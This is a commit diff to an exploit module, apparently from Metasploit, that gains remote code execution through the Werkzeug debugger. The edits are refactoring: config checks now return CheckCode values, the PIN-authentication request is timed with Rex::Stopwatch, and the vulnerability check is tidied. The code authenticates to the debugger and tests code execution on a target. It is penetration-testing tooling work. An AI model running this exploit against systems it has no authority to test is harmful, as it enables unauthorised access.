Made suggested changes to werkzeug_debug_rce.rb

Author: Grezzo

modules/exploits/multi/http/werkzeug_debug_rce.rb

@@ -67,7 +67,7 @@ def initialize(info = {})
       ],
       'Arch'           => ARCH_PYTHON,
       'DefaultTarget'  => 0,
-      'DisclosureDate' => 'Jun 28, 2015',
+      'DisclosureDate' => '2015-06-28',
       'Notes'          => {
         'Stability'   => [CRASH_SAFE],
         'Reliability' => [REPEATABLE_SESSION],
@@ -149,43 +149,43 @@ def all_generation_values_set?
       datastore['MACADDRESS'] && datastore['MACHINEID'] && datastore['CGROUP']
   end
 
-  def config_valid?
+  def config_invalid?
     # Check that target supports selected authentication mode
     if datastore['TARGET'] == 3 && datastore['AUTHMODE'] != 'none'
-      fail_with(Failure::BadConfig,
+      return CheckCode::Unknown(
                 "AUTHMODE is set to '#{datastore['AUTHMODE']}', but TARGET '#{datastore['TARGET']}' does not " \
                 "require/support authentication. Change TARGET or set AUTHMODE to 'none'")
     end
 
     case datastore['AUTHMODE']
     when 'known-cookie'
       unless COOKIE_PATTERN =~ datastore['COOKIE']
-        fail_with(Failure::BadConfig,
+        return CheckCode::Unknown(
                   'AUTHMODE is set to known-cookie, so COOKIE must be set to a valid cookie, e.g. ' \
                   "'__wzda0b1c2d3e4f5a6b7c8d9=9999999999|a0b1c2d3e4f5'")
       end
     when 'known-PIN'
       unless PIN_PATTERN =~ datastore['PIN']
-        fail_with(Failure::BadConfig,
+        return CheckCode::Unknown(
                   'AUTHMODE is set to known-PIN, so PIN must be set to a number with or without hyphens')
       end
     when 'generated-cookie'
       # Check that *all* values used to generate cookie & pin are set
       unless all_generation_values_set?
-        fail_with(Failure::BadConfig,
+        return CheckCode::Unknown(
                   "AUTHMODE is set to #{datastore['AUTHMODE']}, so ALL of the following must be set: " \
                   'SERVICEUSER, MODULENAME, APPNAME, MACADDRESS, MACHINEID, FLASKPATH & CGROUP') # Alphabetise
       end
       # Check for valid MAC address
       unless MAC_PATTERN =~ datastore['MACADDRESS']
-        fail_with(Failure::BadConfig, "#{datastore['MACADDRESS']} is not a valid MAC address")
+        return CheckCode::Unknown("#{datastore['MACADDRESS']} is not a valid MAC address")
       end
     end
 
     # Check that requestbody is not specified if method doesn't support it
     return unless datastore['REQUESTBODY'] && !METHODS_WITH_BODY.include?(datastore['METHOD'])
 
-    fail_with(Failure::BadConfig,
+    return CheckCode::Unknown(
               "REQUESTBODY set but METHOD ('#{datastore['METHOD']}') does not support a request body")
   end
 
@@ -216,15 +216,15 @@ def secret_and_frame
 
   # Authenticate with PIN to retrieve cookie
   def cookies(secret)
-    start = Process.clock_gettime(Process::CLOCK_MONOTONIC)
-    res = send_request_cgi(
-      'uri'      => normalize_uri(target_uri),
-      'vars_get' => { '__debugger__' => 'yes',
-                      'cmd'          => 'pinauth',
-                      'pin'          => datastore['PIN'],
-                      's'            => secret }
-    )
-    finish = Process.clock_gettime(Process::CLOCK_MONOTONIC)
+    res, duration = Rex::Stopwatch.elapsed_time do
+      send_request_cgi(
+        'uri'      => normalize_uri(target_uri),
+        'vars_get' => { '__debugger__' => 'yes',
+                        'cmd'          => 'pinauth',
+                        'pin'          => datastore['PIN'],
+                        's'            => secret }
+      )
+    end
     unless res
       fail_with(Failure::TimeoutExpired,
         "Unable to connect to http#{'s' if datastore['SSL']}://#{datastore['RHOST']}:#{datastore['RPORT']}")
@@ -235,7 +235,6 @@ def cookies(secret)
                 'exhausted. The remote application must be restarted to re-enable PIN authentication.')
     end
     unless COOKIE_PATTERN =~ res.get_cookies
-      duration = (finish - start).round(1)
       attempts_text = duration < 5 ? 'at least' : 'fewer than'
       fail_with(Failure::NoAccess,
                 "Failed to authenticate using PIN: #{datastore['PIN']}. However, the application did not report " \
@@ -303,29 +302,25 @@ def check_code_exec(secret, frame, cookies = '')
   end
 
   def check
-    config_valid?
+    c = config_invalid?
+    return c if c
     match = secret_and_frame
     unless match
-      print_error 'HTTP response not recognised as Werkzeug'
-      return Exploit::CheckCode::Unknown
+      return CheckCode::Unknown('HTTP response not recognised as Werkzeug')
     end
     unless match[:evalex_enabled]
-      print_error 'Debugger does not allow code execution'
-      return Exploit::CheckCode::Safe # blud
+      return CheckCode::Safe('Debugger does not allow code execution')
     end
     print_status 'Debugger allows code execution'
     if match[:pin_required]
-      print_warning 'Debugger requires authentication'
-      return Exploit::CheckCode::Detected
+      return CheckCode::Detected('Debugger requires authentication')
     end
     print_status 'Debugger does not require authentication'
-    # Now check whether code execution is possible by evaluating '1'
+    # Now check whether code execution is possible by evaluating something
     unless check_code_exec(match[:secret], match[:frame] || 0)
-      vprint_error 'Attempted code execution failed'
-      Exploit::CheckCode::Safe
+      return CheckCode::Safe('Attempted code execution failed')
     end
-    print_status 'Code execution was successful'
-    Exploit::CheckCode::Vulnerable
+    CheckCode::Vulnerable('Code execution was successful')
   end
 
   def exploit
@@ -345,7 +340,7 @@ def exploit
       cookies = generated_cookie
     end
 
-    # Check whether code execution is possible by evaluating '1'
+    # Check whether code execution is possible by evaluating something
     unless check_code_exec(match[:secret], match[:frame] || 0, cookies)
       fail_with(Failure::NoAccess, 'Response indicates that code execution failed')
     end